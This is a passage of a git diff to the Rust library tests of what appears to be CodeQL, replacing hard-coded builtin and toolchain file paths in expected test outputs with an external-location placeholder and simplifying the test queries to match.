main.rs:297:32:297:45 | Ok(...) | +| main.rs:301:36:301:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:301:32:301:46 | Err(...) | +| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | +| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | +| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | +| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | +| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | +| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | +| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | +| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | +| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | +| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | +| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | +| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | +| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | +| main.rs:545:27:545:27 | 0 | {EXTERNAL LOCATION} | Some | main.rs:545:22:545:28 | Some(...) | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql index e3043d55bb6b..21e459745291 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql @@ -8,27 +8,14 @@ query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { RustDataFlow::simpleLocalFlowStep(nodeFrom, nodeTo, "") } -class Content extends DataFlow::Content { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - ) - } -} - class Node extends DataFlow::Node { Node() { not this instanceof FlowSummaryNode } } -query predicate storeStep(Node node1, Content c, Node node2) { +query predicate storeStep(Node node1, DataFlow::Content c, Node node2) { RustDataFlow::storeContentStep(node1, c, node2) } -query predicate readStep(Node node1, Content c, Node node2) { +query predicate readStep(Node node1, DataFlow::Content c, Node node2) { RustDataFlow::readContentStep(node1, c, node2) } diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref new file mode 100644 index 000000000000..e3dd95c3e612 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref @@ -0,0 +1,2 @@ +query: DataFlowStep.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 806b00590936..054905f39096 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -1,4 +1,3 @@ -testFailures mod | lib.rs:1:1:1:7 | mod my | | main.rs:1:1:1:7 | mod my | @@ -77,7 +76,7 @@ resolvePath | main.rs:68:5:68:8 | self | main.rs:1:1:653:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | -| main.rs:78:16:78:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| main.rs:78:16:78:18 | i32 | {EXTERNAL LOCATION} | struct i32 | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | | main.rs:85:5:85:7 | my2 | main.rs:7:1:7:8 | mod my2 | | main.rs:85:5:85:16 | ...::nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | @@ -93,8 +92,8 @@ resolvePath | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | -| main.rs:125:13:125:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| main.rs:128:16:128:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| main.rs:125:13:125:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| main.rs:128:16:128:18 | i32 | {EXTERNAL LOCATION} | struct i32 | | main.rs:134:19:134:24 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:25 | ...::A | main.rs:124:9:126:9 | A | @@ -351,19 +350,20 @@ resolvePath | my.rs:18:9:18:11 | my4 | my.rs:14:1:16:1 | mod my4 | | my.rs:18:9:18:16 | ...::my5 | my.rs:15:5:15:16 | mod my5 | | my.rs:18:9:18:19 | ...::f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| my.rs:22:5:22:9 | std | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/std/src/lib.rs:0:0:0:0 | Crate(std@0.0.0) | -| my.rs:22:5:22:17 | ...::result | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/lib.rs:356:1:356:15 | mod result | -| my.rs:22:5:24:12 | ...::Result::<...> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | enum Result | +| my.rs:22:5:22:9 | std | {EXTERNAL LOCATION} | Crate(std@0.0.0) | +| my.rs:22:5:22:17 | ...::result | {EXTERNAL LOCATION} | mod result | +| my.rs:22:5:24:12 | ...::Result::<...> | {EXTERNAL LOCATION} | enum Result | | my.rs:23:5:23:5 | T | my.rs:21:5:21:5 | T | -| my.rs:28:8:28:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:29:8:29:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| my.rs:28:8:28:10 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:29:8:29:10 | i32 | {EXTERNAL LOCATION} | struct i32 | | my.rs:30:6:30:16 | Result::<...> | my.rs:18:34:25:1 | type Result<...> | -| my.rs:30:13:30:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:33:16:33:18 | Err | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:534:5:537:56 | Err | -| my.rs:35:5:35:6 | Ok | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:529:5:532:55 | Ok | +| my.rs:30:13:30:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:33:16:33:18 | Err | {EXTERNAL LOCATION} | Err | +| my.rs:35:5:35:6 | Ok | {EXTERNAL LOCATION} | Ok | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:15:9:15:15 | nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:15:9:15:18 | ...::f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:21:5:21:11 | nested1 | my/nested.rs:1:1:17:1 | mod nested1 | | my/nested.rs:21:5:21:20 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:21:5:21:23 | ...::f | my/nested.rs:3:9:5:9 | fn f | +testFailures diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql index d04036f7b516..0fe49a8e386b 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql @@ -5,22 +5,7 @@ import TestUtils query predicate mod(Module m) { toBeTested(m) } -final private class ItemNodeFinal = ItemNode; - -class ItemNodeLoc extends ItemNodeFinal { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - .regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - ) - } -} - -query predicate resolvePath(Path p, ItemNodeLoc i) { +query predicate resolvePath(Path p, ItemNode i) { toBeTested(p) and not p.isFromMacroExpansion() and i = resolvePath(p) diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.qlref b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref new file mode 100644 index 000000000000..54a21bc91abf --- /dev/null +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref @@ -0,0 +1,2 @@ +query: path-resolution.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 8e04a0c07524..ff33ad89cb82 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,4 +1,3 @@ -testFailures inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | @@ -6,7 +5,7 @@ inferType | main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | MyThing | | main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | S | -| main.rs:27:18:27:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:27:18:27:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:27:26:27:26 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:27:26:27:28 | x.a | | main.rs:2:5:3:13 | S | | main.rs:32:13:32:13 | x | | main.rs:16:5:19:5 | GenericThing | @@ -14,7 +13,7 @@ inferType | main.rs:32:17:32:42 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | S | | main.rs:32:40:32:40 | S | | main.rs:2:5:3:13 | S | -| main.rs:33:18:33:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:33:18:33:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:33:26:33:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:33:26:33:28 | x.a | | main.rs:2:5:3:13 | S | @@ -23,7 +22,7 @@ inferType | main.rs:36:17:36:37 | GenericThing {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | S | | main.rs:36:35:36:35 | S | | main.rs:2:5:3:13 | S | -| main.rs:37:18:37:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:37:18:37:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:37:26:37:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:37:26:37:28 | x.a | | main.rs:2:5:3:13 | S | @@ -31,7 +30,7 @@ inferType | main.rs:41:17:43:9 | OptionS {...} | | main.rs:21:5:23:5 | OptionS | | main.rs:42:16:42:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | -| main.rs:44:18:44:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:44:18:44:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:44:26:44:26 | x | | main.rs:21:5:23:5 | OptionS | | main.rs:44:26:44:28 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | S | @@ -43,7 +42,7 @@ inferType | main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | S | | main.rs:48:16:48:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | -| main.rs:50:18:50:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:50:18:50:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:50:26:50:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | MyOption | | main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | S | @@ -64,7 +63,7 @@ inferType | main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | S | | main.rs:56:30:56:32 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | S | -| main.rs:57:18:57:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:57:18:57:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:57:26:57:26 | a | | main.rs:10:5:14:5 | MyOption | | main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | S | | main.rs:70:19:70:22 | SelfParam | | main.rs:67:5:67:21 | Foo | @@ -74,7 +73,7 @@ inferType | main.rs:74:32:76:9 | { ... } | | main.rs:67:5:67:21 | Foo | | main.rs:75:13:75:16 | self | | main.rs:67:5:67:21 | Foo | | main.rs:79:23:84:5 | { ... } | | main.rs:67:5:67:21 | Foo | -| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | {EXTERNAL LOCATION} | str | | main.rs:81:13:81:13 | x | | main.rs:67:5:67:21 | Foo | | main.rs:81:17:81:22 | Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:82:13:82:13 | y | | main.rs:67:5:67:21 | Foo | @@ -83,27 +82,27 @@ inferType | main.rs:86:14:86:14 | x | | main.rs:67:5:67:21 | Foo | | main.rs:86:22:86:22 | y | | main.rs:67:5:67:21 | Foo | | main.rs:86:37:90:5 | { ... } | | main.rs:67:5:67:21 | Foo | -| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | {EXTERNAL LOCATION} | str | | main.rs:88:9:88:9 | x | | main.rs:67:5:67:21 | Foo | | main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:14 | y.m2() | | main.rs:67:5:67:21 | Foo | | main.rs:100:25:100:28 | SelfParam | | main.rs:99:5:101:5 | Self [trait MyTrait] | | main.rs:105:25:105:28 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:105:39:107:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:105:39:107:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:106:13:106:22 | self.field | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:106:13:106:22 | self.field | | {EXTERNAL LOCATION} | bool | | main.rs:111:13:111:13 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:111:17:111:39 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:111:34:111:37 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:112:13:112:13 | a | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:111:34:111:37 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:112:13:112:13 | a | | {EXTERNAL LOCATION} | bool | | main.rs:112:17:112:17 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:112:17:112:32 | x.trait_method() | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:112:17:112:32 | x.trait_method() | | {EXTERNAL LOCATION} | bool | | main.rs:114:13:114:13 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:114:17:114:40 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:114:34:114:38 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:115:13:115:13 | b | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:115:17:115:40 | ...::trait_method(...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:114:34:114:38 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:115:13:115:13 | b | | {EXTERNAL LOCATION} | bool | +| main.rs:115:17:115:40 | ...::trait_method(...) | | {EXTERNAL LOCATION} | bool | | main.rs:115:39:115:39 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:132:15:132:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | | main.rs:132:15:132:18 | SelfParam | A | main.rs:125:5:126:14 | S1 | @@ -136,19 +135,19 @@ inferType | main.rs:152:17:152:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | | main.rs:152:17:152:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | | main.rs:152:30:152:31 | S2 | | main.rs:127:5:128:14 | S2 | -| main.rs:155:18:155:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:155:18:155:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:155:26:155:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:155:26:155:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:155:26:155:28 | x.a | | main.rs:125:5:126:14 | S1 | -| main.rs:156:18:156:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:156:18:156:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:156:26:156:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:156:26:156:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:156:26:156:28 | y.a | | main.rs:127:5:128:14 | S2 | -| main.rs:158:18:158:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:158:18:158:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:158:26:158:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:158:26:158:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:158:26:158:31 | x.m1() | | main.rs:125:5:126:14 | S1 | -| main.rs:159:18:159:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:159:18:159:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:159:26:159:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:159:26:159:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:159:26:159:31 | y.m1() | | main.rs:120:5:123:5 | MyThing | @@ -164,11 +163,11 @@ inferType | main.rs:162:17:162:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | | main.rs:162:17:162:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | | main.rs:162:30:162:31 | S2 | | main.rs:127:5:128:14 | S2 | -| main.rs:164:18:164:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:164:18:164:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:164:26:164:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:164:26:164:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:164:26:164:31 | x.m2() | | main.rs:125:5:126:14 | S1 | -| main.rs:165:18:165:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:165:18:165:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:165:26:165:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:165:26:165:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:165:26:165:31 | y.m2() | | main.rs:127:5:128:14 | S2 | @@ -307,11 +306,11 @@ inferType | main.rs:320:24:320:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | | main.rs:320:24:320:40 | MyThing {...} | A | main.rs:185:5:186:14 | S3 | | main.rs:320:37:320:38 | S3 | | main.rs:185:5:186:14 | S3 | -| main.rs:324:18:324:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:324:18:324:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:324:26:324:33 | thing_s1 | | main.rs:170:5:173:5 | MyThing | | main.rs:324:26:324:33 | thing_s1 | A | main.rs:181:5:182:14 | S1 | | main.rs:324:26:324:38 | thing_s1.m1() | | main.rs:181:5:182:14 | S1 | -| main.rs:325:18:325:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:325:18:325:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:325:26:325:33 | thing_s2 | | main.rs:170:5:173:5 | MyThing | | main.rs:325:26:325:33 | thing_s2 | A | main.rs:183:5:184:14 | S2 | | main.rs:325:26:325:38 | thing_s2.m1() | | main.rs:170:5:173:5 | MyThing | @@ -321,7 +320,7 @@ inferType | main.rs:326:22:326:29 | thing_s3 | | main.rs:170:5:173:5 | MyThing | | main.rs:326:22:326:29 | thing_s3 | A | main.rs:185:5:186:14 | S3 | | main.rs:326:22:326:34 | thing_s3.m1() | | main.rs:185:5:186:14 | S3 | -| main.rs:327:18:327:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:327:18:327:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:327:26:327:27 | s3 | | main.rs:185:5:186:14 | S3 | | main.rs:329:13:329:14 | p1 | | main.rs:175:5:179:5 | MyPair | | main.rs:329:13:329:14 | p1 | P1 | main.rs:181:5:182:14 | S1 | @@ -331,7 +330,7 @@ inferType | main.rs:329:18:329:42 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | | main.rs:329:31:329:32 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:329:39:329:40 | S1 | | main.rs:181:5:182:14 | S1 | -| main.rs:330:18:330:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:330:18:330:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:330:26:330:27 | p1 | | main.rs:175:5:179:5 | MyPair | | main.rs:330:26:330:27 | p1 | P1 | main.rs:181:5:182:14 | S1 | | main.rs:330:26:330:27 | p1 | P2 | main.rs:181:5:182:14 | S1 | @@ -344,7 +343,7 @@ inferType | main.rs:332:18:332:42 | MyPair {...} | P2 | main.rs:183:5:184:14 | S2 | | main.rs:332:31:332:32 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:332:39:332:40 | S2 | | main.rs:183:5:184:14 | S2 | -| main.rs:333:18:333:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:333:18:333:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:333:26:333:27 | p2 | | main.rs:175:5:179:5 | MyPair | | main.rs:333:26:333:27 | p2 | P1 | main.rs:181:5:182:14 | S1 | | main.rs:333:26:333:27 | p2 | P2 | main.rs:183:5:184:14 | S2 | @@ -361,7 +360,7 @@ inferType | main.rs:336:17:336:33 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | | main.rs:336:30:336:31 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:337:17:337:18 | S3 | | main.rs:185:5:186:14 | S3 | -| main.rs:339:18:339:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:339:18:339:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:339:26:339:27 | p3 | | main.rs:175:5:179:5 | MyPair | | main.rs:339:26:339:27 | p3 | P1 | main.rs:170:5:173:5 | MyThing | | main.rs:339:26:339:27 | p3 | P1.A | main.rs:181:5:182:14 | S1 | @@ -380,14 +379,14 @@ inferType | main.rs:343:17:343:17 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:343:17:343:17 | a | P2 | main.rs:181:5:182:14 | S1 | | main.rs:343:17:343:23 | a.fst() | | main.rs:181:5:182:14 | S1 | -| main.rs:344:18:344:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:344:18:344:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:344:26:344:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:345:13:345:13 | y | | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:17 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:345:17:345:17 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:17 | a | P2 | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:23 | a.snd() | | main.rs:181:5:182:14 | S1 | -| main.rs:346:18:346:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:346:18:346:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:346:26:346:26 | y | | main.rs:181:5:182:14 | S1 | | main.rs:352:13:352:13 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:352:13:352:13 | b | P1 | main.rs:183:5:184:14 | S2 | @@ -402,20 +401,20 @@ inferType | main.rs:353:17:353:17 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:353:17:353:17 | b | P2 | main.rs:181:5:182:14 | S1 | | main.rs:353:17:353:23 | b.fst() | | main.rs:181:5:182:14 | S1 | -| main.rs:354:18:354:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:354:18:354:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:354:26:354:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:355:13:355:13 | y | | main.rs:183:5:184:14 | S2 | | main.rs:355:17:355:17 | b | | main.rs:175:5:179:5 